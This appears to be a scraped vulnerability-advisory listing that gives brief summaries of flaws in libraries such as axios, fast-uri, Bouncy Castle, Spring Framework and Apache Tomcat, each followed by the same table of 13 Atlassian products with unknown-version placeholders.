|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a vulnerability where lazy ASN.1 sequence forcing resets the nesting-depth guard, potentially compromising security controls.
CWE-674 - Uncontrolled RecursionAffected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
fast-uri versions 2.3.1 through 4.0.0 fail to properly canonicalize Unicode/IDN hostnames in HTTP URLs, causing discrepancies with Node's URL parser that can be exploited to bypass host-based security policies.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
brace-expansion versions through 5.0.7 contain a denial of service vulnerability due to unbounded string length in the expand() function, leading to memory exhaustion and fixed in version 5.0.8 by adding a maxLength limit.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Bouncy Castle for Java versions prior to 1.85, including certain LTS, FIPS, and bctls-fips versions, contains a vulnerability that can cause out-of-memory errors due to unbounded memory allocation during definite-length reads.
CWE-789 - Memory Allocation with Excessive Size ValueAffected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
fast-uri versions 2.3.1 to 4.1.0 improperly handle backslashes in URLs, causing host parsing inconsistencies with Node's WHATWG URL parser that can lead to security bypasses, requiring upgrades to fixed versions.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
fast-uri versions prior to 4.1.2, 3.1.5, and 2.4.4 improperly parse URIs with backslashes instead of double forward slashes, causing discrepancies with Node's WHATWG URL parser and enabling host-based security policy bypasses.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
A critical Broken Authentication & Session Management vulnerability (CVE-2026-21582) in Atlassian Crowd Data Center 7.2.1 enables unauthenticated attackers to impersonate other users.
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Multiple Apache Tomcat and Apache Tomcat Native versions contain an improper input validation vulnerability in OCSP response handling that allows bypassing certificate revocation checks, with additional critical flaws affecting related products like Oracle Siebel CRM and SAP Commerce Cloud.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Multiple vulnerabilities in axios versions prior to 0.30.3 and 1.13.5 cause denial of service via mergeConfig crashing on configuration objects containing __proto__, alongside various security issues in HPE and Oracle products.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Underscore.js versions up to 1.13.7 and Oracle Commerce Platform 11.4.0 contain vulnerabilities causing denial of service via stack overflow or application hang through recursive data processing or business control center flaws, while HPE UOCAM suffers from multiple security issues including path traversal and resource overconsumption.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Rollup versions prior to 2.80.0, 3.30.0, and 4.59.0 contain a high-severity arbitrary file write vulnerability via path traversal due to improper filename sanitization, enabling attackers to overwrite files and potentially execute remote code.
9.8 (Critical)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Node-tar versions prior to 7.5.10 contain a vulnerability allowing crafted archives to create hardlinks with drive-relative link targets on Windows, enabling path traversal and file overwrite outside the extraction directory.
8.6 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Micrometer versions 1.15.0 to 1.15.11 and 1.16.0 to 1.16.5 contain a vulnerability where specially crafted gRPC requests can trigger a denial-of-service (DoS) condition, impacting system availability.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Micrometer versions 1.9.0 through 1.16.5, including micrometer-core and micrometer-jetty, are vulnerable to specially crafted HTTP requests that can cause a denial-of-service (DoS) condition, impacting system availability.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Apache Tomcat versions 9.0.0.M1 to 11.0.21 have multiple vulnerabilities including unbounded WebDAV request bodies, HTTP/2 header validation flaws, WebSocket authentication exposure, and authorization bypass, leading to denial of service, crashes, and credential exposure.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Spring Framework versions used in Spring MVC and WebFlux applications are vulnerable to DoS attacks during static resource resolution, Oracle Communications BRM Elastic Charging Engine versions 15.1.0.0.0 and 15.2.0.0.0 have a remotely exploitable vulnerability allowing system takeover, and Oracle Communications Management Cloud Engine has a non-exploitable Spring Framework security-in-depth issue.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Multiple vulnerabilities affect Spring Framework versions 5.3.0 to 7.0.7 and Oracle Communications products, including a JavaScript escaping flaw enabling XSS, a difficult-to-exploit remote takeover in BRM Elastic Charging Engine, and a non-exploitable security-in-depth issue in Management Cloud Engine.
7.1 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Multiple vulnerabilities affect Spring Framework versions 5.3.0 to 7.0.7 and Oracle Communications BRM Elastic Charging Engine versions 15.1.0.0.0 and 15.2.0.0.0, including an Algorithmic DoS and a difficult-to-exploit remote takeover vulnerability.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Certain Spring Framework versions are vulnerable to DoS via unbounded cache growth from user-supplied SpEL expressions, Oracle Communications BRM Elastic Charging Engine versions 15.1.0.0.0 and 15.2.0.0.0 have a difficult-to-exploit unauthenticated HTTP takeover vulnerability, and Oracle Communications Management Cloud Engine has a non-exploitable Spring Framework security-in-depth issue.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
The uuid library versions prior to 14.0.0 have a vulnerability in v3, v5, and v6 UUID functions where missing buffer bounds checks allow silent partial or out-of-range writes to caller-provided buffers, potentially causing malformed UUIDs.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios versions prior to 1.15.1 and 0.31.1 are vulnerable to prototype pollution attacks that enable attackers to intercept, modify JSON responses, or hijack HTTP requests and responses via polluted configuration properties.
7.4 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios versions prior to 1.15.1 and 0.31.1 contain a prototype pollution vulnerability in the HTTP adapter that allows attackers to inject arbitrary HTTP headers into outgoing requests by exploiting polluted Object.prototype properties.
7.4 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios versions prior to 1.15.1 and 0.31.1 contain a high-severity Prototype Pollution vulnerability in the validateStatus property merge strategy that allows attackers to bypass authentication and error handling by treating all HTTP error responses as successful.
8.2 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
